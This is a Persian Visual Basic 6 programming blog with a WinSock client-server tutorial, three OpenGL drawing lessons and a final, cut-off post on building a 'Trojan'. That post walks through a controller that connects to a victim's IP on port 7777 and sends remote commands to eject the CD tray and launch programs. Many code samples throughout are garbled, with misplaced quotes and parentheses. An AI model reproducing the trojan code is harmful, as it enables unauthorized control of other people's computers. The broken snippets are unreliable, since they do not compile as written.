- کد زير را براي رويداد کليک شدن دکمه connect بنويسيد :

tcpclient.Connect

- کد زير را براي رويداد کليک شدن دکمه send بنويسيد :

tctclient.SendData txtsend.Text

- کد زير را براي رويداد DataArrival بنويسيد :

Private Sub tcpclient_DataArrival(ByVal bytesTotal As Long)
Dim strData As String
tcpclient.GetData strData
txtreceive.Text = strData
End Sub


- کد زير را باري رويداد Form_Unload بنويسيد :

Tcpclient.Close

کدهاي فوق يک سيستم Client-Server ساده را نشان مي دهد . فايل exe هر دو برنامه را بسازيد و آنها را اجرا کنيد تا بتوانيد سيستم خود را تست کنيد .
5 – پذيرفتن بيش از يک تقاضاي اتصال : Server اي که در بالا ساخته شد تنها مي تواند تقاضاي يک اتصال را بپذيرد . با استفاده از ايجاد يک آرايه از کنترل WinSock مي توان چندين تقاضاي اتصال را پذيرفت . براي اينکار کافي است يک کپي ( instance ) از کنترل بسازيم ( با تنظيم خاصيت Index ) و متد Accept را براي instance جديد بکار ببريم . فرض کنيد يک کنترل WinSock با نام sckServer در فرم داريم که خاصيت Index آنرا صفر قرار داده ايم . همچنين يک متغير intMax از نوع Long تعريف مي کنيم که تعداد اتصالات همزمان به Server را نگه مي دارد . در event مربوط به Form_Load کد زير را بنويسيد :

intMax=0
sckServer(0).LocalPort=1000
sckServer(0).Listen


هر بار که تقاضاي يک اتصال مي رسد کد ابتدا تست مي کند که مقدار Index چقدر است . اگر مقدار Index صفر باشد متغير intMax يکي افزايش مي يابد و از intMax براي ساخت يک instance جديد از کنترل استفاده مي شود . حال از اين instance براي پذيرفتن تقاضاي اتصال استفاده مي گردد . براي اينکار کد زير را براي رويداد ConnectionRequest بنويسيد :

Private Sub sckServer_ConnectionRequest(Index As Integer, ByVal requestID As Long)
If Index = 0 Then
intmax = intmax + 1
Load sckServer(intmax)x
sckServer(intmax).LocalPort = 0
sckServer(Index).Accept requestID
End If
End Sub

6 – ايجاد اتصال UDP : ساخت يک برنامه UDP ساده تر از برنامه هاي TCP است زيرا پروتکل UDP به اتصال نياز ندارد . در برنامه TCP بالا يک کنترل WinSock بايستي حتماً Listen مي کرد و يک کنترل ديگر يک اتصال را توسط متد Connect ايجاد نمود . در عوض پروتکل UDP نيازي به اتصال ندارد . براي ارسال داده بين دو کنترل WinSock سه مرحله بايستي انجام شود :
- پارامتر RemoteHost برابر نام کامپيوتر مقابل است .
- پارامتر RemotePort برابر پارامتر LocalPort کامپيوتر مقابل
- استفاده از متد Bind براي مشخص کردن LocalPort
چون هر دو کامپيوتر از نظر ارتباط مساوي هستند ، اين نوع برنامه ها را Peer-to-Peer گويند . براي نمونه از کد زير براي ساخت يک برنامه chat استفاده مي کنيم :
- يک کنترل WinSock در فرم قرار دهيد و نام آنرا udppeerA بگذاريد .
- خاصيت Protocol آنرا UDPProtocol قرار دهيد .
- دو textbox با نامهاي txtsend و txtreceive و نيز يک دکمه در فرم قرار دهيد .
- کد زير را براي متد Form_Load بنويسيد :

udppeerA.RemoteHost=”nameofpeerB”x
udppeerA.RemotePort=1001
udppeerA.Bind 1002


- کد زير را براي event مربوط به کليک دکمه بنويسيد :

udppeerA.SendData txtsend.text

- کد زير را براي رويداد DataArrival بنويسيد :

Dim strData as String
udppeerA.GetData strData
txtreceive.Text=strData


براي ساخت UDP peerB مشابه مراحل بالا عمل کنيد فقط خاصيت RemoteHost آنرا نام کامپيوتر PeerA و خاصيت RemotePort آنرا 1002 و خاصيت Bind آنرا 1001 قرار دهيد .
-------------------

بررسی خواص کنترل WinSock :
ByteReceived : مقدار داده دريافت شده ( موجود در بافر receive ) را نشان مي دهد . توسط متد GetData مي توان اين داده را دريافت نمود .
LocalHostName : نام ماشين محلي را نشان مي دهد . اين پارامتر فقط خواندني است .
LocalIP : آدرس IP ماشين محلي را بصورت يک string برمي گرداند . اين پارامتر فقط خواندني است .
LocalPort : براي خواندن و يا تنظيم شماره پورت محلي بکار مي رود .
Protocol : براي خواندن و يا تنظيم پروتوکل مورد استفاده توسط کنترل WinSock بکار مي رود .
RemoteHost : براي خواندن و يا تنظيم نام يا آدرس IP ماشين راه دور بکار مي رود .
RemoteHostIP : آدرس IP ماشين راه دور را برمي گرداند :
۱- براي برنامه هاي Client بعد از زمانيکه يک اتصال توسط متد Connect پذيرفته شد ، اين خاصيت حاوي آدرس IP ماشين راه دور است .
۲ - براي برنامه Server ، بعد از آمدن يک Connection Request اين خاصيت شامل آدرس IP ماشين راه دور است .
۳ - در زمان استفاده از پروتکل UDP بعد از اينکه رويداد Data Arrival رخ داد اين خاصيت حاوي آدرس IP ماشيني است که داده را فرستاده .
RemotePort : براي خواندن و يا تنظيم شماره پورت ماشين راه دوري که مي خواهيد به آن متصل شويد بکار مي رود .
SocketHandle : مقداري را برمي گرداند که مرتبط با سوکتي است که کنترل WinSock را مديريت مي کند و براي ارتباط با لايه WinSock بکار مي رود . اين پارامتر فقط خواندني است و تنها براي ارسال به API هاي WinSock طراحي شده است .
State : وضعيت کنترل WinSock را نشان مي دهد . وضعيتهاي ممکن براي State عبارتند از :
۱ - sckClosed : اتصال بسته است .
۲ - sckOpen : اتصال باز است .
۳ - sckListening : حالت گوش دادن به پورت
4 - sckConnectionPending : معلق شدن اتصال
۵ - sckResolvingHost : تصميم گيري در مورد ميزبان
۶ - sckHostResolved : در مورد ميزبان تصميم گيري شد .
۷ - sckConnecting : حالت برقراري ارتباط
۸ - sckConnected : ارتباط برقرار شد .
۹ - sckClosing : حالت قطع اتصال
۱۰ - sckError : حالت خطا

بررسی متدهای کنترل WinSock :
متد Accept : تنها براي برنامه هاي TCP Server بکار مي رود . اين متد براي پذيرفتن يک اتصال در زمان مديريت رويداد ConnectionRequest استفاده مي شود .
متد Bind : اين پارامتر LocalPort و LocalIP يک اتصال را مشخص مي کند .
متد Close : براي بستن يک اتصال TCP و يا بستن يک listening socket بکار مي رود .
متد GetData : بلوک جاري داده دريافت شده را گرفته و آنرا در متغيري از نوع Variant ذخيره مي کند . شکل کلي اين متد بصورت زير است :


WinSock.GetData data[,type][,maxlen]x

که data داده دريافتي است . اگر داده کافي موجود نباشد data برابر empty خواهد بود .
type نوع داده دريافتي است که مي تواند مقادير زير باشد :
vbByte - vbInteger - vbLong - vbSingle - vbDouble - vbDate - vbBoolean - vbError - vbString - vbArray+vbByte
maxlen حداکثر سايز را در زمان دريافت يک byte Array و يا يک string مشخص مي کند .
متد Getdata در رويداد Data Arrival استفاده مي شود که اين رويداد يک پارامتر با نام TotalBytes دارد . اگر maxlen اي که شما تعيين کرده ايد کمتر از TotalBytes باشد پيغام هشدار شماره ۱۰۰۴۰ دريافت مي کنيد بدين معني که بايتهاي باقيمانده گم خواهند شد .
متد Listen : يک سوکت مي سازد و آنرا در حالت Listen قرار مي دهد . اين متد تنها در اتصالات TCP بکار ميرود .
متد PeekData : مشابه GetData است با اين تفاوت که داده را از صف ورودي حذف نمي کند . اين متد تنها براي اتصالات TCP بکار مي رود .
متد SendData : براي ارسال داده به کامپيوتر راه دور بکار مي رود .
بررسي event هاي کنترل WinSock :
رويداد Close : زماني رخ مي دهد که کامپيوتر راه دور اتصال را ببندد .
رويداد Connect : بعد از اينکه يک اتصال به Server ايجاد شد روي مي دهد . شکل کلي آن بصورت زير است :


Private Sub WinSock_Connect(ErrorOccurred As Boolean)x

که پارامتر ErrorOccurred دو مقدار دارد : اگر True باشد يعني اتصال Fail شده است و اگر False باشد يعني اتصال با موفقيت انجام شده است .
با رويداد Connect مي توانيد error هايي که در زمان فرايند باز کردن اتصال برگردانده شده را چک کنيد .
رويداد ConnectionRequest : زماني رخ مي دهد که يک کامپيوتر راه دور تقاضاي يک اتصال را بدهد . اين رويداد فقط براي برنامه هاي TCP Server بکار مي رود .
رويداد DataArrival : زماني رخ مي دهد که داده جديدي بيايد .
رويداد Error : زماني رخ مي دهد که يک خطا در فرايند ارتباط رخ دهد ( مثلاً Failed to Connect و يا Failed to Send ) . شکل کلي آن بصورت زير است :


Private WinSock_Error(number as Integer,description as String,scode as Long,source as String,helpfile as String,helpcontext as Long,canceldisplay as Boolean)x


number شماره کد خطا است .
description توضيحي در مورد خطا است .
source توصيف منبع خطا
canceldisplay : مشخص مي کند آيا پيغام خطاي پيش فرض نشان داده شود يا نه
رويداد SendComplete : زماني رخ مي دهد که يک عمل Send تکميل شده باشد .
رويداد SendProgress : زماني رخ مي دهد که کنترل شروع به ارسال داده نمايد . شکل کلي آن بصورت زير است :


WinSock_SendProgress (bytesSent As Long, bytesRemaining As Long)x


که bytesSent تعداد بايتهاي ارسال شده و bytesRemaining تعداد بايتهاي باقيمانده است .

نوشته شده توسط سعید دامغانیان  | لینک ثابت |

قسمت سوم آموزش OpenGL سه شنبه سی و یکم مرداد 1391 21:27

با یاد خدا امروز قسمت سوم آموزش OpenGL رو برای شما عزیزان میگم.

در جلسه قبل رسم نقطه و خط رو گفتم اما امروز به بقیه ی اشیا میپردازم.

۳- bmTriangles  رسم مثلث:

برای رسم مثلث های گوناگون ( متساوی ها و قائم الزاویه ها و ...) از تابع glBegin با دادن ثابت bmTriangles میتوانیم بعد از فراخوانی سه تابع glVertex2f (که رئوس اضلاع مثلث را شامل میشوند) مثلث مورد نظر را رسم کنیم.

در مثال زیر یک مثلث با رنگ آبی در وسط فرم نمایش داده میشود.

glBegin  bmTriangles

glcolor3f  0, 0, 1

glvertex2f  0.5 , 0

glvertex2f  0 , 0.5

glvertex2f  -0.5 , 0

glEnd

شاید با تابع glColor3f آشنا نباشید. تابع glColor3f باعث میشود که رنگ مورد نظر برای اشیا را مشخص کنیم. تابع glColor#f که # در آن از ۳ تا ۴ میباشد رنگ مورد نظر را تایین میکند. در ادامه درباره این تابع بیشتر صحبت میکنم.

حتما مثال هایی که میزنم رو اجرایی کنین.


۴- bmQuads  رسم چهار ضلعی ها (از جمله لوزی / مربع / مستطیل / ذوزنقه و سایر چهار ضلعی ها):

برای رسم چهار ضلعی ها مانند رسم سایر اشیا از تابع glBegin استفاده میکنیم و مقدار Mode تابع glBegin را برابر bmQuads می کنیم. در مثال زیر یک مستطیل در نیمه ی بالایی فرم رسم میکنیم:

glBegin bmQuads

glcolor4f  0,1,0 ,0

glVertex2f  0.5 , 0

glvertex2f  0.5 , 0.5

glvertex2f  -0.5 , 0.5

glvertex2f  -0.5 , 0

glEnd

همان طور که در مثال بالا می بینید ما برای رسم مستطیل از چهار تابع glVertex2f استفاده کرده ایم. دلیل استفاده از تابع glVertex تایین رئوس اضلاع مستطیل است.


۵- bmPolygon رسم چند ضلعی:

برای رسم چند ضلعی باید بعد از فراخوانی تابع glBegin از ثابت bmPolygon استفاده کنیم . برای رسم چند ضلعی ها ما میتوانیم در داخل بلوک glBegin/glEnd به تعداد دلخواه تابع glVertex فراخوانی کنیم چرا که تعداد اضلاع به تعداد توابع glVertex بستگی دارد.

در مثال زیر یک ۶ ضلعی بارنگ قرمز رسم میکنیم.

   glBegin bmPolygon
   glColor3f 1, 0, 0
 glVertex2f 0.5, 0
   glVertex2f 0.3, 0.5
   glVertex2f -0.3, 0.5
   glVertex2f -0.5, 0
   glVertex2f -0.3, -0.5
   glVertex2f 0.3, 0.5
   glEnd

امیدوارم تا اینجا خوب یاد گرفته باشی ولی اگه احیانآ مشکلی پیش اومد بگو خجالت نکش.من خدا خدا میکنم که یه سایت یا وبلاگ به سوالات من جواب بده ولی... .


و اما رسم دایره:

شما میتونین برای رسم دایره به کمک تابع glBegin و ثابت bmPolygon دایره رسم کنین ولی تعداد خطوطی که باید کد بنویسین خیلی زیاد میشه.

Open GL برای رسم دایره از یک کتابخانه کمکی به نام glu استفاده میکنه.(نگران نباشید این کتابخانه در تمامی کامپیوتر ها وجود داره و نیازی به کپی کردن اون به کامپیوتر خودتون نیست. چه خوب)

در ادامه چگونگی رسم دایره را به شما دوستان عزیزم میگم.

برای رسم دایره دیگر نمیتوانیم از تابع glBegin استفاده کنیم زیرا تابع glBegin ثابتی ندارد که بتواند دایره رسم کند. پس:

برای رسم دایره شما ابتدا باید یک متغیر از نوع Variant تعریف کنید:

Dim Q as Variant

بعد از تعریف کردن متغیر باید اون رو برای رسم دایره آماده کنین به این صورت:

Q = gluNewQuadric

بعد باید رنگ مورد نظر خودتون رو به دایره بدین:

glColor3f  0,0,1

بعد از اون هم باید چگونگی نمایش دایره رو مشخص کنیم( این موضوع برای استفاده سه بعدی کاربرد دارد و من در جلسه بعد به توضیح این تابع میپردازم اما بد نیست که بهتر با تابع آشنا بشین.)

gluQuadricDrawStyle  Q , qdsLine

در ادامه نیز به رسم دایره میپردازیم:

gluSphere  Q , 0.5 , 20 , 20

بعد هم برنامه را اجرا میکنیم و نتیجه را می بینیم.

مثال بالا در کل به این صورت است:

Dim Q

Q = gluNewQuadric

glcolor3f 0 , 0 , 1

gluQuadricDrawStyle  Q , qdsLine

gluSphere  Q , 0.5 , 20 , 20

همین !!

اگه میخوای این مطالبو خوب یاد بگیری باید تمرین کنی. از روی نوشته کپی کردن باعث میشه که اصلا چیزی یاد نگیرین. پس سعی کنین:

۱- چهار ضلعی رسم کنین که رنگ آن قرمز باشد. سپس در وسط آن چهار ضلعی یک مثلث به رنگ آبی رسم کنین.

۲- دایره ای رسم کنین که رنگ آن سبز باشد .

امیدوارم موفق باشید.  راستی من  سه چهار روز دیگه تمرین هایی که برای شما نوشتم رو جواب میدم پس هیچ جای نگرانی نیست.

نوشته شده توسط سعید دامغانیان  | لینک ثابت |

قسمت دوم آموزش OpenGL سه شنبه سی و یکم مرداد 1391 21:26

به نام خدا

با سلام خدمت تمامی دوستان !!!

امروز درباره ساخت اشیای دو بعدی در ویژوال بیسیک و رنگ آمیزی آنها صحبت میکنیم.

ابتدا یه مروری به جلسه قبل میکنیم و همون طور که قول داده بودم کدهای جلسه اول رو براتون به صورت کلی مینویسم (اگه میخوایین این کدها رو بنویسین پیشنهاد میکنم کپی کنید.):

کدهای زیر برای ماجول OpenGLMain است:

توجه:اگر جلسه اول آموزش OpenGL رو نخوندی حتما بخونش.

کدهای زیر برای ماجول DrawShape هست:

و اما درس امروز:

ما در این جلسه تمام سروکارمون با ماجول DrawShape است و در داخل تابع DrawGLScene باید کدهای مربوط به رسم اشکال را بنویسیم.

برای رسم اشکال ما باید از تابع glBegin استفاده کنیم. تابع glBegin به OpenGL میگوید که ما آماده رسم اشکال هستیم. برای رسم اشکال بعد از فراخوانی تابع glBegin با کمک تابع glVertex و glColor ما مختصات راس های شکل مورد نظر و رنگ مورد نظر که به شکل پاشیده میشود را رسم میکنیم. در پایان نیز با تابع glEnd به OpenGL میگوییم که کار رسم کردن شکل ها به پایان رسیده است.

تابع glBegin پارامتری به نام Mode دارد که به کمک پارامتر Mode ما میتوانیم اشکال هندسی مختلفی رسم کنیم . مثل : مربع و مستطیل و مثلث و چندضلعی های دیگر.

پارامتر Mode مقادیریرا میتواند بگیرد که تعدادی از آنها در زیر آمده است:

مقادیر توضیحات                

bmPoints رسم نقاط جدا از هم
bmLines رسم خط که دو راس دارد
bmLineStrip رسم خط های به هم پیوسته
bmLineLoop رسم خط های به هم پیوسته
bmTriangles رسم مثلث با دادن سه راس
bmTriangleStrip رسم مثلث های به هم پیوسته
bmTriangleFan رسم مثلث های به هم پیوسته با یک راس مشترک
bmQuads رسم چهار ضلعی هایی که دارای یک راس مشترک هستند
bmQuadStrip رسم چهار ضلعی های به هم پیوسته
bmPolygon رسم چند ضلعی که ضلع های آن به تعداد دلخواه است
رسم دایره در جلسات بعد توضیح خواهم داد

این مقادیری که در جدول نوشتم در همین جلسه دونه دونه توضیح خواهم داد.(پس نگران نباشید.)

۱- bmPoints رسم نقطه:

برای اینکه ما بتونیم یک نقطه روی فرممون رسم کنیم باید مقدار Mode رو به bmPoints ست کنیم.

برای رسم یک نقطه در ماجول DrawShape و در تابع DrawGLScene  کدهای زیر رو بنویسید:

Publice Function DrawGLScene() as Boolean

glClear clrColorBufferBit

 

glBegin bmPoints

glVertex2f  0,0

glEnd

 

DrawGLScene = True

End Function

در مثال بالا کدهایی که کمرنگ تر هستند رو برای یادآوری نوشتم. شما دیگه لازم نیست که یک تابع جدید DrawGLScene تعریف کنید چون این کار باعث ایجاد مشکل در برنامه میشه.

در مثال بالا در خط سوم به کمک تابع glBegin به OpenGL فرمان دادیم که برایمان Point (نقطه) رسم کند. در خط چهارم نیز به کمک تابع glVertex2f (که یکی از توابع بسیار مهم OpenGL هست) مختصات نقطه ای که باید رسم شود را نوشتیم.در خط پنجم نیز به رسم نقطه پایان دادیم.

با اجرا کردن برنامه باید در وسط فرم شما یک نقطه رسم شده باشد.

شما میتوانید هرچه قدر که نقطه دوست دارین رسم کنین با تابع glBegin bmPoints / glEnd رسم کنین.

شاید شما بخواین که نقطه ای رو که رسم میکنین بزرگتر بشه و نقاطی رو رسم کنین که جای بیشتری میگیرن برای این کار از تابع glPointSize استفاده کنین.

برای مثال شما در نمونه برنامه ای که در بالا آمده شد این تابع رو اضافه کنین و مقدار اون رو به 50 ست کنین به این صورت:

glPointSize  50

با این کار نقطه شما ۵۰ برابر بزرگتر میشه.

توجه : تابع glPointSize را حتما باید قبل از تابع glBegin  bmPoints تعریف کنین.

گاهی وقت ها برای شما پیش میاد که  چرا وقتی نقطه ای رو بزرگ میکنیم دقت گرافیکی اون نقطه کم میشه و به شکل مربع در میاد برای برطرف کردن این مشکل و به عبارتی دندانه زدایی تابعی وجود دارد که از پر کاربردترین توابع openGL است.

تابع glEnable :

تابع glEnable مقادیری را میگیرد که در زیر فقط به مقدار glcPointSmooth اشاره میکنیم.

مقدار glcPointSmooth برای افزایش دقت گرافیکی اشیا و همچنین دندانه زدایی آنهاست. برای اینکه بهتر با این تابع و مقدار تابع آشنا بشین بعد از تعریف کردن تابع glPointSize در خط بعد از آن تابع glEnable را تعریف کنید. به این صورت:

glEnable  glcPointSmooth


۲- bmLines  رسم خط :

برای رسم خطوط در OpenGL از تابع glBegin و با ثابت bmLines استفاده میکنیم. در این تابع به جای اینکه یکبار تابع glVertex2f را فراخوانی کنیم باید دو تا تابع glVertex2f فراخوانی کنیم چراکه برای رسم خط به دو مختصات ( مختصات نقطه اول پاره خط و مختصات پایان رسم پاره خط) احتیاج داریم.

glBegin  bmLines

glVertex2f  -0.5 , 0

glVertex2f  0.5 , 0

glEnd

در مثال بالا با دادن دو مختصات خطی برای ما رسم میشود.

برای دندانه زدایی خطوط قبل از فراخوانی تابع glBegin تابع glEnable با  مقدار glcLineSmooth بنویسید. به صورت زیر:

glEnable  glcLineSmooth


فعلا کافیه . برای اینکه بهتر OpenGL رو یادبگیرید باید خودتون تمرین کنید برای تمرین این جلسه شما:

۱- نقطه ای رسم کنید که انداره اون ۲۵ برابر نقطه معمولی باشه و دندانه نداشته باشد.

۲- با رسم ۳ خط یک مثلث بسازین.

امیدوارم موفق باشی .

نوشته شده توسط سعید دامغانیان  | لینک ثابت |

قسمت اول آموزش OpenGL سه شنبه سی و یکم مرداد 1391 21:25

به نام خدا

 با سلام خدمت تمام بروبچ برنامه نویسان ایران زمین.

امروز براتون یه مژده دارم و اونم اینه که امروز در مورد آموزش OpenGL در ویژوال بیسیک آموزش هایی براتون میگزارم.این آموزش جزء آموزش های حرفه ای و پیشرفته به حساب میاد.

از همین اول کار شرط میبندم که از این آموزش لذت میبرین چون با حرفه ای شدن در زمینه OpenGL میتونید برنامه هایی از قبیل برنامه های میکس و افکت گزاری روی تصاویر و ساختن بازی های سه بعدی قدرتمند انجام بدین.

حالا اونایی که در این ضمینه (یعنی کارهای سه بعدی) یه مقدار تجربه دارن این سوال برای اونها پیش بیاد که چرا OpenGl ؟

شما میدونید که DirectX هم میتواند کارهای سه بعدی انجام دهد ولی چرا OpenGL که سخت تر و وقت گیر تر است؟

خوب من به سوالات شما جواب میدم. من به این علت آموزش OpenGL رو میذارم چون :

شاید با بازی قدرتمند Doom آشنایی داشته باشید منظور من از این جمله اینه که بازی Doom با OpenGL برنامه نویسی شده.همچنین OpenGL نسبت به DirectX قدرت بیشتری داره و با سرعتی در حدود ۳ برابر DirectX کار میکنه و مقدار حافظه کمتری اشغال میکنه.

هرچند OpenGL مزایای بسیار زیادی داره ولی تعداد خطوطی که ما باید کد بنویسیم بیشتره و وقت بیشتری صرف نوشتن برنامه با OpenGL میشه.اما این ضرر OpenGL هم قابلیت رفع داره برای رفع این مشکل ما با ساختن یک موتور(Engin) گرافیکی ساده ولی قدرتمند تعداد خطوطی که باید کد بنویسیم نصف و شاید هم کمتر از نصف DirectX بشه.

خوب میریم سراغ آموزش :

به احتمال ۹۸٪ شما کتابخانه( OpenGL (vbogl.tlb رو در داخل کامپیوترتون ندارین اما من این رو از قبل پیش بینی کردم. و لینک دانلود کتابخانه OpenGL رو براتون گذاشتم.

حالا دانلود کنید ... !

 

بعد از اینکه فایل مورد نظر رو دانلود کردین ویژوال بیسیک رو باز کنین و از منوی Project گزینه Refrences رو بزننین و در پنجره باز شده دکمه فرمان Browse رو بزنین و آدرس فایل vbogl.tlb (همون فایلی که دانلود کردین) رو باز کنین و بعد از انتخاب کردن فایل vbogl.tlb روی دکمه فرمان Open کلیک کنید.

بعد در داخل کادری که لیست DLL های شناسایی شده است به دنبال VB OpenGL API 1.2 بگردین و تیک کنار اون رو فعال کنین.

باریکلا.اگه احیانا مشکلی پیش اومد(خدانکنه) در قسمت نظرات بگو.

برای اینکه کدهایی که ما مینویسیم با استفاده از روتین های OpenGL هست در داخل فرم ما نمایش داده نمیشه و ما برای اینکه کدهایی که مینویسیم اجرا بشه باید تغیراتی در برنامه ایجاد کنیم برای اینکار:در ویژوال بیسیک از منوی Project روی Project Properties کلیک کنید تا جعبه تنظیم خواص پروژه باز بشه.بعد از لیست باز شو Startup Object گزینه Sub Main را انتخاب کنید و OK را بزنید.

حالا میریم سراغ کد نویسی:

از منوی Project گزینه Add Module را بزنید تا برای شما یک ماژول جدید بسازد.بعد خاصیت Name ماجول رو برابر با OpenGLMain قرار دهید.

حالا ما کدهای اصلی که موتور گرافیکی ۳ بعدی ما رو میسازه مینویسیم.

روی ماجول جدید خود دابل کلیک کنید تا پنجره View Code باز بشه.و بعد کدهای زیر رو بنویسید:

()Sub Main

   Dim Done As Boolean
   Dim frm As Form
   Done = False
   Set frm = New Form1
   If Not CreateGLWindow(frm, 640, 480, 16) Then Done = True
  
   Do While Done = False
   If (DrawGLScene = False) Then
   Unload frm
   Else
  ( SwapBuffers (frm.hDC

   DoEvents
   End If
   Done = frm.Visible = False
   Loop
   Set frm = Nothing
   End
End Sub

در قطعه کد بالا ابتدا یک متغیر از نوع بولن تعریف میکنیم . تا وقتی که متغیر Done مقدار False داشته باشد برنامه ما ادامه پیدا میکند ولی هر گاه که متغیر Done برابر با True شود برنامه خاتمه پیدا میکند. در خط بعدی ما یک متغیر به نام frm از نوع Form تعریف میکنیم و در خط پنجم نیز متغیر frm را به فرم برنامه مرتبط میکنیم.در خط ششم نیز از یک دستور شرطی استفاده کردیم که هرگاه CreateGLWindow (که در ادامه آن را میسازیم و کار آن ساخت پنجره ای است که اشیا دو بعدی و چند بعدی ما در آن نمایش داده شوند) برابر با مقداری خلاف قوانین ما شد برنامه خاتمه پیدا کند و باعث هنگ کردن سیستم نشود. در ادامه ما باید پنجره نمایش اشیا را که نام آن CreateGLWindow است بسایم. برای این کار کدهای زیر را در ماجول بنویسید:

Public Function CreateGLWindow(frm As Form, Width As Integer, Height As Integer, Bits As Integer) As Boolean
   Dim PixelFormat As GLuint
   Dim PFD As PIXELFORMATDESCRIPTOR
  
   PFD.cColorBits = Bits
   PFD.cDepthBits = 16
   PFD.dwFlags = PFD_DRAW_TO_WINDOW Or PFD_SUPPORT_OPENGL Or PFD_DOUBLEBUFFER
   PFD.iLayerType = PFD_MAIN_PLANE
   PFD.iPixelType = PFD_TYPE_RGBA
   PFD.nSize = Len(PFD)                         'X
   PFD.nVersion = 1
   
       PixelFormat = ChoosePixelFormat(frm.hDC, PFD)                         'X
   If PixelFormat = 0 Then
   KillGLWindow
   MsgBox "Can't set the:", 16
   CreateGLWindow = False
   End If
  
   If SetPixelFormat(frm.hDC, PixelFormat, PFD) = 0 Then
   KillGLWindow
   MsgBox ""                     'X
   CreateGLWindow = False
   End If
   
  ( hrc = wglCreateContext(frm.hDC

   If hrc = 0 Then
   KillGLWindow
   MsgBox "Can't rendering Context:", vbExclamation, "ERROR

   CreateGLWindow = False
   End If
  
   If wglMakeCurrent(frm.hDC, hrc) = 0 Then
   KillGLWindow
   MsgBox "Can't Active rendering Context:", vbExclamation, "ERROR
   CreateGLWindow = False
   End If
   frm.Show
   If Not InitGL() Then
   KillGLWindow

MsgBox "Initialize Failed!",vbExclamation,"Error
   CreateGLWindow = False
   End If
  
   CreateGLWindow = True
  
  
End Function

توجه: از نوشتن کلماتی که با رنگ سبز هستند خودداری کنین چون من ویندوزم فارسی نویسی نداره و وقتی که در داخل وبلاگم انگلیسی مینویسم علامت هایی مثل (=+-/.":"/.()) و امثال اینها در جملات جا به جا میشن و موجب گمراهی شما میشن.

انشاالله سورس های آمادشون رو هم براتون میزارم تا مشکلات به ۰٪ برسه.

در داخل روتین بالا دو تابع دیگر به نام های KillGLWindow و InitGL فراخوانی شده اند که ما باید اونها رو در داخل ماجولمون بنویسیم.

کار تابع CreateGLWindow در اصل ساخت Engin (موتور) گرافیکی است و توابع دیگر مانند KillGL و InitGL کارهایی از قبیل خطا زدایی انجام میدهند بنابر این تابع CreateGLWindow مهمترین تابع برنامه ماست چون که موتور گرافیکی ما رو میسازه.

برای نوشتی تابع KillGLWindow کدهای زیر رو به ماجولتون اضافه کنین:

Public Sub KillGLWindow()                          'X
  
   If hrc Then
   If wglMakeCurrent(0, 0) = 0 Then
   MsgBox "Rilase DC and RC Failed.", vbInformation, "ShutDownError"                     'X
   End If
   If wglDeleteContext(hrc) = 0 Then
   MsgBox "Failed", vbInformation, "ERROR"                       'X
   End If
   hrc = 0
   End If
  
End Sub

خوب ما تا حالا حدود ۷۰٪ کارا رو انجام دادیم.

حالا باید تابع InitGL رو بنویسیم که کار این تابع پاک کردن صفحه نمایش و آماده سازی آن برای رسم اشکال سه بعدی است.

برای نوشتن تابع InitGL کدهای زیر رو به ماجول برنامتون اضافه کنین:

Public Function InitGL() As Boolean
   glClearColor 0.5, 0.5, 1, 0
   InitGL = True
End Function

اگه بخواهیم به صورت نگاهی به مساله توجه کنیم شما تا الآن ۹۰٪ کارارو انجام دادین.

برای ادامه کار شما باید یک ماجول دیگه با نام DrawShape بسازین . برای این کار از منوی Project روی منوی Add Module کلیک کنید و خاصیت Name ماجول جدید خود را برابر با DrawShape کنید.

حالا باید تابعی رو بنویسیم که کار رسم اشکال دو بعدی و سه بعدی رو برعهده داره.اسم این تابع DrawGLScene است که برای نوشتن آن کدهای زیر را به ماجول DrawShape اضافه کنین:

Publice Function DrawGLScene() as Boolean

glClear clrcolorbufferbit 

DrawGLScene = True

End Function

حالا برنامه ای رو که ساختین اجرا کنین اگه کارها رو درست انجام داده باشین باید رنگ پشت زمینه فرم شما آبی رنگ بشه در غیر این صورت به دنبال اشتباهی که کردین بگردین.

اگه از این آموزش خوشتون اومد یک نظر بدین
نوشته شده توسط سعید دامغانیان  | لینک ثابت |

به نام خدا

 سلام !

 

ابتدا یک پروژه جدید از نوع Standard EXE باز کنید.

برای ساخت برنامه Clint با زدن کلیدهای ترکیبی Ctrl + T یا با کلیک کردن گزینه Components از منوی Project جعبه گفتگوی انتخاب کنترل ها را باز کنید.سپس به دنبال Microsoft WinSock Control 0.6 بگردین و چک بوکس کنار اون رو فعال کنین تا کنترل Win Sock به جعبه ابزار شما اضافه بشه . شکل کنترل WinSock یه چیزی مثل ۲ تا کامپیوتر ه که با یک خط به هم متصل شدند.

با دوبار کلیک کردن روی کنترل WinSock  اون رو به فرمتون اضافه کنید.

۶ عدد دکمه فرمان (Command) به فرمتون اضافه کنین و بعد از اون ۱ عدد تکست بوکس (Text Box) دیگر به فرم اضافه کنین.

خاصیت کنترل ها به صورت زیر هست:

ردیف نام کنترل خصوصیت Caption
۱ Command1 Connect
2 Command2 !Open The CDRom
3 Command3 Close The CDRom
4 Command4 Run OSK
5 Command5 Run NotPad
6 Command6 Close Trojan

 

 

 

 

 

شما میتونید به سلیقه خودتون کنترل ها رو روی فرم قرار بدین.

نوشتن کد برنامه:

روی دکمه فرمان Connect دابل کلیک کنید تا روال مربوط به کلیک شدن دکمه فرمان Command1 با بشه سپس کدهای زیر رو بنویسید:

Private sub Command1_Click

WinSock1.Close

WinSock1.Connect Text1.Text , 7777

End Sub

در قطعه کد بالا کنترل WinSock از طریق Ip که در Text1 نوشته میشه با پورت ۷۷۷۷ به کامپیوتر قربانی متصل میشه.

در مرحله دوم روی دکمه فرمان Open CD Rom دوبار کلیک کنید.و بعد قطعه کد زیر را بنویسید:

Private Sub Command2_Click

Dim strData as String

"strData = "OPENCD

WinSock1.SendData   strData

End Sub

در قطعه کد بالا با فشرده شدن دکمه فرمان Open CDRom ابتدا یک متغیر از نوع رشته ای درست میشه و در خط بعد مقدار متغیر ما (OPEN) برابر با OPENCD میشه و بعد مقدار متغیر برای کامپیوتر قربانی فرستاده میشه.

مرحله سوم:روی دکمه فرمان Close CDRom دابل کیک کنید و سپس کدهای زیر را بنویسید:

Private Sub Command3_Click

 Dim strData as String

"strData = "CLOSECD

WinSock1.SendData  strData

End Sub

مرحله چهارم:روی دکمه فرمان Run OSK دابل کلیک کنید و سپس قطعه کد زیر رو بنویسید:

Private Sub Command4_Click

Dim strData as String

"strData = "RunWindowOSK

WinSock1.SendData  strData

End Sub

مرحله پنجم:روی دکمه فرمان Run Note Pad دابل کلید کنید و قطعه کد زیر رو بنویسید:

Private Sub Command5_Click

Dim strData as String

"strData = "RunWindowNotePad

